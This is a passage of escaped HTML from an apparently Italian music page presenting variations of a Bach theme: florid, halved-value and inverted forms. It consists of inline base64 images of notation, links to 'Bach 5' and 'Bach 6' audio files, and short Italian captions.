src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABDQAAACwCAIAAAB\/4qnwAAAVxElEQVR4nO3d23akOJAF0Pr\/n855mFk52bYhha5HsPdjF4QiJCSItqv73wsAACDAv9UJAAAAvF6aEwAAIITmBAAAiKA5AQAAImhOAACACJoTAAAgguYEAACIoDkBAAAiaE4AAIAImhMAACCC5gQAAIigOQEAACJoTgAAgAiaEwAAIMLl5uTff9XddfV2AADg9q61B3UNxlFnojkBAADeLrQHP9qJ8h5DcwIAAHx14fey\/vyHX3sMHQgAAFCiqXPQnAAAAL2MbU787hYAAFCoQ3Py9QJ\/wwQAAPiqvmGo\/nvw1SMCAAA3VtMqXO0x9CcAAMBXlf+fk5qRNCcAAMCxoj6h129n6U8AAIAjU387S3MCAAAcaWowWvqTqzcCAAD3Nvu3s8Kbkz9\/ga3Q6tz7q6v35PrCOXzgVAMA8Kr+TwlXfybu8n1Z\/im8S0XV6nqD81sKA+pJAAAeRXNyqDzVXSqqVtchnN+i9wMA4Ic1zUndoJNpTj5VNyeNATUnAADPoTk5dKnGXYqqVvHDk\/MrNScAAPzQ1JzMuWsVzckPVydEcwIAwCVN\/7WuuhsrRlzCZ\/EPmhMAAIaq+SsB5x+LdXcF8ln826WOomMoqwAA8ASX\/yuuJZ3J72t2\/L78+ll80oMdzUPJBdUXd7mxMGzJZR1DbffwAABQ4fL\/Su\/qx\/S+H5dfMz\/\/o\/Pbyy84uuvo9vMbjxIudOkxKAzV5TIAAG6g\/7+2v0Fb8r9Kmofq288vqPuj88S69ydXE6jLZ\/enCACAcr75DrV0CCXXfI1\/flf3rqaQ5gQAgEF88x36V6Dk9qsXtHc1Q5uTr6E0JwAA1PHNd6jxQ\/+ZzUn5EJoTAAB+8M13qKRJaLy9e3Py9ZZeX\/nnybdEqLsMAIAb8M136AbNyeeVE5qTS\/E1JwAA\/OCb79Cq5uTrveXf9JfyueTfh0uJXc1HcwIA8By++Q41fhYPak6qw3b\/ytecAADQl2++Qwubk6M\/HdTw1PkR8GpwzQkAAD\/45ju0tjl5\/fdXp0qSqeh2Gn3G1JwAANAo9Jsv4WN0bXNSMbTmBACArSV+84V8jy5sTurGnd+cvP774526G7tcBgDADcR98\/37r4RMRtx+UmP1uF+7Hc0JAADJsr75\/v2SkEzfCO9\/clTs739+5Gi4P0f8PUp1XV9r7HhjwpMAAMAcWd98JZ\/gSzLpEuR3e\/DnEEd3lUxOxXDtKgIWJjMuZwAAAgV98BV+fy\/JoSWZo9tPAn5N4ySlkz8dNKXlMQtruVoyAAD3kPKd52P0U2HVz5wcAADuKuXTVnPydqnkp00OAAA3FvFp+\/XXeB71Ca45AQDgmSI+bc9bkUc1J5easedMCwAAT7D+6\/brT0ge9cOTSz8sesicAADwEOu\/bkt+feuZzYkJAQDgUdZ\/4Bb+rOBRn+O\/W5SSjgUAALa2+DO3\/IP7gR\/l2hIAAB5FcwIAAETYrDnRnwAAwF2lNCcdrwQAAHa08lv\/0l+l0JwAAMC9aU4AAIAIEc1J94sB4Mm8LoEu5h8mmhMAuBuvS6ALzUmfiwHgybwugS40J1+u1J8AwFfelUAXT2xOyq\/UnAAdOUy4sYTHOyEHSLD1XnhQc+LHJsBazhNuLOHxTsgBEmy9FzQnZ1dqToCOnCfcWMLjnZADJNh6L2hODi\/TnAB9OU+4sYTHOyEHSLD1XtCc\/H2N5gToznnCjSU83gk5QIKt94Lm5O9rNCdAd84Tbizh8U7IARJsvRc0J39coDkBRnCecGMJj3dCDpBg672gOfn5p5oTYBDnCTeW8Hgn5AAJtt4LKc3JSW8AAADQ6EJzMsefaVXUQB1TurW05YtKptDCnNOWb7Qn1JtWY0Iyttg4aQVGJVNhdP4d489f+vmLqzl5LlO6tbTli0qmkC+naZ5Qb1qNCcnYYuOkFRiVTAXNyfmIM4d7pTUnOpOZzOrW0pYvKplCvpymeUK9aTUmJGOLjZNWYFQyFTQn5yPOHO4V1Zycdya7P\/eBzOrW0pYvKplCvpymeUK9aTUmJGOLjZNWYFQyFTQn5yPOHO4V0px8bUsa5yVtD4cwLVtLW76oZAr5cprmCfWm1ZiQjC02TlqBUclU0JycjzhzuNfa5uR15T8L1j5Kr5xvw7RsLW35opIp5MtpmifUm1ZjQjK22DhpBUYlU0Fzcj7izOFeuzQnXUbpkvCdmJatpS1fVDKFfDlN84R602pMSMYWGyetwKhkKmhOzkecOdwr4de6Rncmr7w9HMK0tPPqfYtKppDlm+YJ9abVmJCMLTZOWoEbfdzvHl9zMnLgYr3Gao9zM6alnVfvW1QyhSzfNE+oN63GhGRssXHSCtzo4373+JqTYaNO7ExeeXs4hGlp59X7FpVMIcs3zRPqTasxIRlbbJy0Ajf6uN89vuZkzJBzO5NX3h4OYVraefW+RSVTyPJN84R602pMSMYWGyetwI0+7nePrzkZMN70zuSVt4dDmJZ2Xr1vUckUsnzTPKHetBoTkrHFxkkrcKOP+93ja056D7aiM3nl7eEQpqWdV+9bVDKFLN80T6g3rcaEZGyxcdIK3Ojjfvf4mpN+w1wxaPTuYXdnWtp59b5FJVPI8k3zhHrTakxIxhYbJ63AjT7ud4+vOek3zLrO5JW3h0OYlnZevW9RyRSyfNM8od60GhOSscXGSStwo4\/73eM\/tzkp7yUAAACuutCcdNSYX8ccxsXfVNq0RCVTaGHOlq+d5ZvmCfWm1ZiQjC02TlqBo5MR\/zPU5KWf\/6QNX4zlnckrbw+HSJuWqGQKefW+RSVTyPJN84R602pMSMYWGyetwI0+7nePrzlpC13clmhOlkiblqhkCnn1vkUlU8jyTfOEetNqTEjGFhsnrcCNPu53j685aYhb3Jm8xk902h4OkTYtUckU8up9i0qmkOWb5gn1ptWYkIwtNk5agRt93O8eX3NSG7S4Lfm8fkQmc+JvKm1aopIp5NX7FpVMIcs3zRPqTasxIRlbbJy0Ajf6uN89vuakKuLFzuR9V\/dMfqR0lOG4ccOllR+VTCGv3reoZApZvmmeUG9ajQnJ2GLjpBW40cf97vE1J1URr3cmr1nNydWs7i2t8KhkCnn1vkUlU8jyTbPkbTr5wE9b04RkbLFx0gocnYz4n6HmH6czh3t1b07O3wcn5Q2d669ZpW3yOdKqjkqmkFfvW1QyhSzfNNPqLTztRxz7aWuakIwtNk5agaOTEf8z1OSln\/+k9T+a614DQ+f6KIehL6p8aSVHJVPIq\/ctKplClm+aCfWWnOQV76arCXQJ1UVCMrbYOGkFTtjg4r9DTV76+U\/avOak5PaOyfxO7OSPNCcJopIp5NX7FpVMIcs3zdB6K941I1qUtDVNSMYWGyetwI0+7nePrzm5EqitM3llNCdRW320tHqjkink1fsWlUwhyzfNuHrrDvAR\/UnamiYkY4uNk1bgRh\/3u8fXnFwJ1NaZvDQn06XVG5VMIa\/et6hkClm+aQbV2\/K6aXxhHcWsvr27hGRssXHSCtzo4373+POXfv6T1vN3bRsP+nHTfRK545tpO2n1RiVTyKv3LSqZQpZvmkH1tr9xOr4C0tY0IRlbbJy0Ajf6uN89\/vyln\/+kjW1OKoJ0yac88mM7k9fzjrYRvHrfopIpZPmmGVFvr5dOr\/4kbU0TkrHFxkkrcKOP+93ja07KQhyrCPU7YK8MT\/6o41hXnczehK3yqKNtBK\/et6hkCj1n+RaeM58JjIjZUkvfCQlZ088LpiVz5DlbbL60Aid8sYj\/DjV56ec\/aaW\/7AQAANDLhebkQnNzZbAuXVBdkiWjV0SuS+briB1r\/5pJ35gtopIptDBny9fuxsuXc858jjUiZmP+HWdgwpY8KvnHuEOX8pIbb7Hl0gqc8PCL\/w7VK9rJkfJ5jMx\/0pY1JyUzcj5Zl5L8msClgHV6TVHffHpFaxeVTKGFOVu+drdcvrRz5nOUETHb3w69Ch+9Ja8Wm7Alb7nFQqQVODoZ8T9DtUc7Oj+7nKvthpRXd9e4mfp98fxJrxuxvfavwbuE6iIqmUILc7Z87e63fIHnzOcQHQN+hm18O\/SqeuiWrMgzYUveb4vlSCtwdDLif4ZqP6mu6pV8aZKt91+voW5eWibr98WTZ7wx85bavwZvj9NLVDKFFuZs+drdbPkyz5nPIXpF+x25V+3tmbREOI98Nc+ELXmzLRYlrcDRyYj\/Gao62slpf65X8qV5Nt18vYDqeWmZrx9Xzp\/ulmVuKbwkcnucXqKSKbQwZ8vX7mbLl3nOfMbvFe3P4BWZ9y12UI2Na9o9n0tutsWipBU4OhnxP0PVRTs650v0Sr401aabLxZQUvzvIO3z9Xnl\/IluX+aW2r+GbQzSUVQyhRbmbPna3Wn5Ys+Zz+BdQp3Ev5R59zJH1Ni4miWR2xL8nsbQ+OdD73golUsrcPdnaaP4dUt\/dMIX6pV8abZNN18soKTmoyAtU\/a+bMksty\/zoGdlyQN3IiqZQgtztnzt7rR8sefMZ\/Auob6Ocp7\/oAJfY2psXMqvF4xelzttsTRpBY5ORvzPUBXRjk74Qr2SL8226eYr2ZdXW36kFk7Z4iluXuZBz8qS2TgRlUyhhTlbvhLnG+dOyxd7znwG7xKqfLgT4wbtHrBlHUuuacz5fHpnLvqfia0afYK0Akcns0X8k+3QMf\/GY6FCr8wvJNx085UCyi8++dO6iVs4v69Or\/wRj8vCOflTVDKFFuZs+U4cbbof2+dOyxd7znxG7hIq1qA1rbjl69q1L\/EDt1iatAJHJ5Mcv2Q7dMy\/\/WS4qlfmFxJuuvlKAVevLB\/068StmtzP0RsXe8SzsnZafotKptDy52rV6L+FJHN4uPbYht3z7B4w8Jz5jNwrWqZBa3r1+pK16\/uQPGSLpUkrcHQymfGX7IUJ23b5Ft6vObk67ivgs6l9yUc8Lgsfuz9FJVNoYc6W73cCFdZmOyJm2jnzGblXtEzdaywPWLFwXR6PEuXx+7r9I5dW4Ohk0uIv3A4VoeqyXbl\/m26+UsalastDrZ2+co0LP6LetKmLSqbQyq1r+f47ep21CQ8KG3XOfEbuGDDQkkmb9lTbYmnSChydTFT8tduhItRGO\/f\/Em66+Uoxl2ouD5UwiYWql39QsWlTF5VMoYU5W77PoautzXlc5Jxz5jN435hpBs3b+XBzHmlbLFBagaOTyYm\/fDvUhdpi2\/5\/tq33F9dzqexL0RLmsVDFQzCu0rSpi0qm0MKcLd973BZLcn4NXr6oc+YzfvewUUbU+Dvm\/Oe5bmcNTak87VWjT5BW4OhkQuInbIfqUMkb9gfNyQIlD8SEJyZt6qKSKbQw58nL9\/UgWzUVR4kVWpLza8ryldQ7bULWzvYcg2pc\/iRf21ETEytJe\/JwMydh7fT+NjqZkPgJ26ExVNQ+PfJ3Qo2zDwAAcOJCc3KtvykY5seVhWG7DMqRtKmLSqbQwpwnLF\/habJwG9YdhQnnxvIEJntCvbes0RY7j38+ytBpmTbDhQs9Opnq+B3zLwl1PkoXfaNlWtOclD8E7YNyJG3qopIptDDn0ct39WxdMhW174j1T35CDjM9od5b1miLHUUuL3PQ\/EyY5KgVr4jfPf+rAQdNzoTZXq5nB18yX1cfgvYROZI2e1HJFFqY89Dlqzu1ByVzPujy90RL5quzmOcJ9d6yRlvsz7BXyxwxS0PnOXDRL8UflH9d2O4zM2G2l+v8Y6aSKbt02dexbr9C46TNXlQyhRbmPG756g7WJVOx\/CVRLSqZCZ5Q7y1rtMV+x6wodsR0jZvtikWfsPRdZrsx\/5A5mTDbyy1oTj6v\/3pNl7H4U9oERiVTaGHOg5av+mBd9Tgtf0\/USctntCfUe9cabbEfMVtOyI4zNmjCLy33zNUvjD86\/4QJmTDby\/X\/NbhLs3Z+8Z9\/NGHhHyJtDqOSKbQw5xHLV725vt4ydM8ufElUy8xqnCfUe+MabbHXwSS0R6hOcsS0lyz0qmegJP6c\/BOmYvQQy6V83JxEGzrEk6XNYVQyhRbmPGL56nbW17vmnNrz3xAtwtPr7gn13r7Gh2+x9vL\/jFCd5NBXQJ2+yfzOLSr\/+TPwY+g5Y60y9meCXUINCk7aNEYl83Z+AC3MufvytR\/QJddkrvJ8T5uKJ9T7hBo3Mu6ErD7N\/oxQneScAssNSuDzT8Pzn2a7hCsM\/y2L9jjdw\/K\/0mYyLZmSs2xhzt2XryJg4eG+7ztgnKdNxRPqfUKNGxl0Qv75ImgM0pJP3b3luZUbOu5Lc\/Jhu4QrDCyvy5K\/b9\/0GUqWNpkhyexyonUf\/WrA8nkImbEoT5uKJ9T7hBo3MuiEbHwFdHyDTCuwxJwR0\/JfZcecr5rxt3Y6Prt903u4tCldnsxeh1r30csDVkzC8ulK87TZeEK9T6hxIyOWo\/0t0PENMugVUGHaWDn5r7Vp2pfMKK\/lIdj6AQqXNqtrk9nuXOs+eknAqBnY2tOm7gn1PqHGjQxajsYXQcfDc9Ar4JJpA5UMNy3\/5bZOvtC88loesjkZPk3a3C5MpuJQW\/5wjhj9JGBa+bt72uw9od4n1LiRcctRfRL2PTwHvQJGv\/suDXF1xAn5J9g9\/xILyrv66Nx+DVZJe75XJXPpOMs54EaM\/jtmZu038LQJfEK9T6hxI0OXo+I87H54Dipw6FuvJHjjuEPzD3GPKs6llHcy109YhiUmT+zXY2LVKlcflGufzEGjh1d9G0+bxifU+4QaNzJhOUrOxnGH59ACBx37he+XI8vzD3Gzcv501g8AAACMcKE5iXKSPeEKH8fzZ3RVhtWbCgD45G1LuQ3W23O5qavny5JVdlYCwGjetpTbY8k9mtupOFyWrLKzEgBG87al3B6r7gHdS93hsmSJHZQAdHezl0X7G9DblnJ7rL3HdCPVh8uqVXZWAtDdbd4avQrxtqVQ6P+E8c97ByVGR+OWeOiB5aAEoLvd3yDd8\/e2pcSMh6D9EfS87qLucPl615yTyykJQHfbvVNGJ+xty7nhT8NJZ3K1PxmaJ+0aO5PlzQkAjLDFt\/gWSfIEC\/7\/qXVPv02Sr7Ez0ZwAcGPVn0APzIon26k5sVvCXV2j8sfAoQnAbTR+EW09Onw18EEs7EwK94Ntk698jaofAM8AALfR90tpTmQYTXNCNyVr5FgEgE+Xvpf6Wl06\/GGn5mRcqvRyskxORgA419hsdPnigrU0J\/T0ezUdkQBQp6798Kpla3s0J3bXRpyVAADU0Zwwip4EAIBLNvhPCfuoBQCAJ0hvTvwbdwAAeIj1zUlJhKFJAgAACYZ\/9ze2JToTAAB4iBmf\/lfbkpfOBAAAnmfS178fmAAAAOem9gAlfwVFWwIAAM+0oBPQkwAAAL9pCQAAgAiaEwAAIILmBAAAiKA5AQAAImhOAACACJoTAAAgguYEAACIoDkBAAAi\/A\/WFVyvQ3FL2gAAAABJRU5ErkJggg==\" width=\"349\" height=\"58\" \/>\u00a0 <\/i><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-5.mp3\">Bach 5<\/a><\/p>\n<p style=\"text-align: justify;\"><i>tema fiorito con valori dimezzati<\/i><\/p>\n<p style=\"text-align: justify;\"><i><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAA6wAAAC1CAIAAADUaOXdAAAWC0lEQVR4nO3d25bcOA5E0fr\/n6558Jpa6lRK4gUAI8SzH20lGSQhJtrty88vAAAAsJmf1QEAAACAajTBAAAA2A5NMAAAALZDEwwAAIDt0AQDAABgOzTBAAAA2A5NMAAAALZDEwwAAIDt0AQDAABgOzTBAAAA2M5sE\/zzfyFpAAAAgAKDzevPSWwsKefFtludPd7Yem+eb9zDDbcaAADkmWoddmtB2tf7+m0Z60HvP9I4IL0vAACYF9MER6XR177k1+\/MWCd6\/xH+GwMAANSgCe5DE3w03ARPDrhh4QEAgFg0wX26lvz6nRn4xeD7J2mCAQBAjfE2Yuz\/hrujCf7QuyE0wQAAQEFAExyYRt+eq75BEwwAABzRBPfZc9X3ujrXwKE4BQAAMIwmuM\/jqr\/+1M9J7wPDD4d8sHHYlscCh9qt9gAAQKDZfywjNo2+sSb447NXz7Q\/cPWpq4\/ff\/AqcKPGrpomGAAA6KAJ7tPSpA5\/\/P6BsZ+6DxbeB\/cGGMuzbfkBAIAoNMF9ZjrRlmcex7\/\/VHj33IgmGAAAeBlpI3ZuQX4atHy894H57jm1CX4ciiYYAABIoQnuM9lQ7tkEt09BEwwAAGrQBPdpaUYnPx7eBD9+JOoo78PPjDD2GAAAwBWa4D4vaIKPTxY0wV3j0wQDAIAa3W3E5v3Hqib48bPtvWNXni4\/B13BevNsXoQAAGAeTXCfyeUnNcHDw4afJk0wAACwQBPcZ2ETfPWzSY31mI8BewenCQYAADX62giaj7VN8PGBo+EZMw70OCZNMAAA0EQT3GdtEzwwNU0wAADA2eDfqLVt\/7GwCR6bt74J\/v1vqYx9MOQxAACAKx1\/o9ZXBRGlpDbBNxs7PO9jV00TDAAANkQb0We+\/fo6wt+PXP1nxtV\/hFw9f57u64znWYbX9bjGwA\/SBAMAgEm0ER3u282xQe6b3cdP3Qx1\/9nAFd0sc+Ajj2HyMgMAgH3QQzzrbTp7xzz\/+FiMm0g3P5vUTbaP2biW3iUDAADcoHWw0djq0RECAAA8olvy0NXa0gQDAADco1vyQBMMAAAQiG7JQNdve6UDBgAAeETDZKDrj3\/RBAMAADyiYTLQ+Dch8EfiAAAAGkn3TLR0R\/wdYQAAAFF0Oyd6u69ofwEAAOaJ9k80eQAAAMij2F\/yK50AAABIpdhf8n\/8AQAAkEquueRPfQEAACCbVnPJ334AAACAAlqdJU0wAAAACgh1lvcdMH0wAAAAogi1lfctL00wAAAAoqi0lY+\/4ssvBgMAACCKSk\/Z8tseaIIBAAAQQqWnbPyNv\/TBAAAAmCfRULb\/0TeaYAAAAMyTaChpggEAAFBJoqHsbYLpgx3d\/+0fAAAAlSQakfauiP7J17kJbrE6NQAAeKf1TUZXx0Nv5GusCaZXBgAAGdZ3DzTBm0htglus3gAAACBkfWfQ1aPQ0Pha0fc+W70rABBv9c2qaPWZQNH6sugqUKrZ14pL79nqXQGAeKtvVkWrzwSK1pdFV4FSzb5WXHrPVu8KAMRbfbMqWn0mULS+LNoLlIK2VnvdtVq9KwAQb\/XNqmj1mUDR+rJor04K2tr5yKqvwG+WbAUApFp9sypafSZQtLgs2quTanY3dmpciwDQK\/vmdLT6TBZgMx\/RBKNI6qnxJgPAn+Er8cVWn8kCbOYjjyb4xQewj+Wn9u43GQD+JLU+1lafyQJs5iOVvqTlmVcewD4ET60gEqULoF7eVZN6iZnGlhXf\/L7ui4wmGEUET60g0ub3C4Al8q6R1AvKNLassS+grb6k1Jvg1x\/APpJObaYwCgop5\/7hLQBwJ+9+SL15TGPL4tvnkXQTvMMB7CPp1Gbe24JCGrpeImUvEICgvHc\/9VYxjS2Lb5ZH3b8PAQAAALDT0QTX+B6rZw2wkHRwse+DWrwk2asOYRQVsrYtoaUXjKiybS+YqJFUGE3rN+hr0SwvZYRLOjjxa3EyXpLsVYcwigpZ25bQ0gtGVNm2F0zUSCqMpvUbdC6a5XWMDElnJ34tTsZLkr3qEEZRIWvbElp6wYgq2\/aCiRpJhdG0foM+ikahjpEh6ezEr8XzFJOBQ2SvOoRRVMjatoSWXjCiyra9YKJGUmE0rd+gv6LJLmK16txN0uaLX4tjU0wuavmqQxhFhaxtSyj7DnFUtu0FEzWy3swaEiup2feXnZydms1Xe5NTp+hdbNmqQxhFhaxtS2j4cnixsm0vmKiR9WbWkFhJzaa\/7OTsKGx+\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\/2zLSf89Vt9sTdKJerP\/LRqHrVzOC6bolRopcHCjl9Ql55lI8rwYIgusZ7qlprGPs0iVnFQYTSlNcNfDV8+390yNZbeq05onkvamu23RPnJ25uPPBs51FSB7il6pkQIHN3pPXXKeiSTPiyGywHqTC7+5OV0ukLKRP2aRKjmpMJrWN8H3TzYO0lJ5GT1WDZHMV9veqH3kmqi\/NMHagxu9rS45z0SS58UQWWC9sYXPX+aT3CtB7daSCqNpcRP8+GT7pI+HrVad7URiN96PY5dm+5OxISena8mTPUWv1EiBgxu9sC45z0SS58UQWWC93oWLXJvulaB2a0mF0eTaBPfO++tcDSLJu27JmhtzPl5BquwpeqVGChy8sngmueQ8E0meF0NkgfXaFy51czqO\/DGLVMlJhdG0sgluGTlqXmsiS9O5KEOy1SQUObuj1EiBgxu91C45z0SS58UQWWC9xoWr3ZyOI3\/MIlVyUmE00QQb0Fmawi05mao4pM7Z\/UmNFDi40UvtkvNMJHleDJEF1mtZuODN6TjyxyxSJScVRlPMBrW\/Hl1vUddoLz5sqaUtvB+H8yyMKnV2\/6RGChzc6KV2yXkmkjwvhsgC6z0uXPPmdBz5YxapkpMKo4km2IDg0iqvxYEky6\/yY7zsKXqlRgoc3Oildsl5JpI8L4bIAus9Llzz5nQc+WMWqZKTCqOp7\/cbAAAAAI46muC+bvp2mq9PNg4bMqm1Fy9tUuzLkDR7yEoDpUYKHFxz975yyXkmknwshukLOG9+4Y0jBG5p47BjgzcGSBr5Y5aaiRpJhdG0sgluOZ77x+bfTAsvXtqk3rs7qlrKJsqQGilwcM3d+8ol55lI8t4Y1i\/gjKiFd40zuZ\/Z47fHSBr5Y5aaiRpJhdEUuUHtddxe7vePFbw5Ct69uhm91+t8tRRPlyE1T+Dgglt3xSXnmUjy9hgveAHHxC58bLTenSyYoitM0sgfs9RM1EgqjKbgDWov5a7HHud690m\/e3Uzim\/YgekEizM1T+Dgglt3xSXnmUjyxhjveAEHhC+8YA\/DM0\/KG\/ljlpqJGkmF0bSsCT4+\/\/hMyFy+Xr\/AGWXX6+CNfjvvkgJOnS5wcKNX2yXnmUjylhgZL6CFpIWnbmBS5hl5I3\/MUjNRI6kwmuI3aKCa7x\/++lMF74yOHdY4o+BinbnTr2aPTdi1FovBjd5ul5xnIskfY2S8gBZSF560damZh+WN\/DFLzUSNpMJoStmg2IL+Ok7BO6NjhzXOS71PM671mqv\/67wWgxu93S45z0SSP8bIeAEtFCw8fMcKMo+lShr5Y5aaiRpJhdGUWHBRNX0epOCFkbLJMmUl3empV\/9NktRyChzc6AV3yXlWmXy4JpNeQH2OC1+Y+X7Amg1ZuPNfSYXRlPt1GFjZ4cMa2WelmpKu9cDbvzdqyFxXAQKHcql8l5xnBcnna7JxhPpqz+a48PrMjcPWbMjCnf9KKoymuhtwcpCP0bY62q0WKyjvTg8s5sBUkzECh5ofreau8H1Ds4shpCa7xikr9QKOC6\/MLLgnazf\/TCqMprqymCmO+lKWsuGSpQze6FWnJpUtcOSQnDUH4fuGJiWPrcmx0XwP5Y\/jwmsyy27L8v3\/IBVG05rfEFb52RfYc9U6NG\/b4WypCQNH7sp59XDNcfi+oRnJw2tSp7yLOS68IPPAFGWbI3IKf6TCaKreoK6irK9gTTuvXYTaVTuQqiZk4MhdOa8erjkR3zc0PHlSTSrU9hKOC0\/N3DV4\/f5IHcSv89VUxuB3Dv09vyrqcjuvXYfIJduVpz5q4MhdOa8erjkX3zc0NnlqTS6s6rUcF56UuWXYtbukdhxSYTRpbdBNAanVVqVtFy5I5xtI8\/sgcOSunFcP1xyQ7xsam7ygJiuLWYrjwsMzFxTYJLVzkQqjKfEvpgEAAABEdDTBUr6mf4GxY8PmYm+BqBl\/1\/3Cw9W6al4fwTe0\/rwG6vAjDHCDAjtqXPL7Fh7OZoPeV8c7v8CY1PsFMFNL2eOHuJr6+ON52aTe0FXn1Tvv8pqBFwrsn53XnsFpg15znLzGmDRWQr1VZFSoV1PXZBN5Pdee19jsIlsHfRTY5stP4rRB7zhR3mTMK6gfr0L9mLo426pVf2RYe14Lp\/7VOIIC2ZWsbG2BLTew\/PdtQganDXrBiQ7XsfvCES61eOwKdW22Vas+Bsg4r959i5p3TOoRK3j9Ah+tLbCFuhb+4n3IIP2PZXz9bFKwAjN1bL1wJEkqG7tCXZ5tyaqPs2ec19jWLTyF3\/f+Qulb1zVgbYEt0bLkfXYjXN0GzR+S+4lSysgQXi1GhSqSbe3rmXReM1tXufn3s5dNmuE1Cwm3tsCKTbzcb96WKEUbFHVOvidKHcOCV6GWBbsfc+EbmndesRtYzze8+84jUN4Ljn\/q\/g2VkNPyPVRKGRa8CjU7VePg9QvvSji2M1F7uJbRKrpOB5vIe8Hxj18TbHqu1DEseBXqY5LhYPprH8vZlXn56kKoHdmRcjYoSH3B8VvQBMeeme\/RUsew4FWojxkGshktfzjtwsALLd8WDgW9eMGz0QQXoYhhwatQ\/2a\/StKbcGD5azfBKKqO4VNOsno\/oItyyubXBGcHzkMdw4JjoV6F6QrZtXCdfXDJKWjmxOetXj08UFSpaIJLUcSwYFeoV5Hao3bdVGq7oZ9Q3OTpd1m9VvihrvI4NcGvOWkqGBaMCvUq2\/nHu26kYVXr\/rJYhSQvYF0JeCUKLANNMAB7V5fD+cdHm5k+VesGAIyz+SvS+GoBcOXqfmi8N2h5AWBDHk0wXzYAbixsghNWAwCooNIEt4xQEBWAo5Ym+OYOoQMGgA0VXeKT7S9fNgBu3DfBj9cI7S8AbKjuKh\/4FuH7BkCLj4tioHOlAwaA3ZTe5u3fInzZAGgX0rzS\/gLAVhbc6fxaC4BAjVdK463CdQQAm5D7J+9X5QFgp7395XoBAHzgWwGAK9pfAMAwvhsAuKIDBgAM4+sBgKvHrpcmGABwha8HAK4ef8WXJhgAcIWvBwCufg7\/GhxNMACgC18PAOzRBAMAevH1AMAeTTAAoBdfDwDs0QQDAHrx9QDAHk0wAKAXXw8A7NEEAwB68fUAwB5NMACgF18PAOzR7AIAevG1AcAeTTAAoBdfGwAAANgOTTAAAAC2QxMMAACA7dAEAwAAYDv\/A4AlRZzHGtg7AAAAAElFTkSuQmCC\" width=\"307\" height=\"61\" \/>\u00a0\u00a0 <\/i><\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-6.mp3\">Bach 6<\/a><\/i><\/p>\n<p style=\"text-align: justify;\"><i>tema fiorito rovesciato con valori originali<\/i><\/p>\n<p style=\"text-align: justify;\"><i><img loading=\"lazy\" decoding=\"async\" alt=\"\" 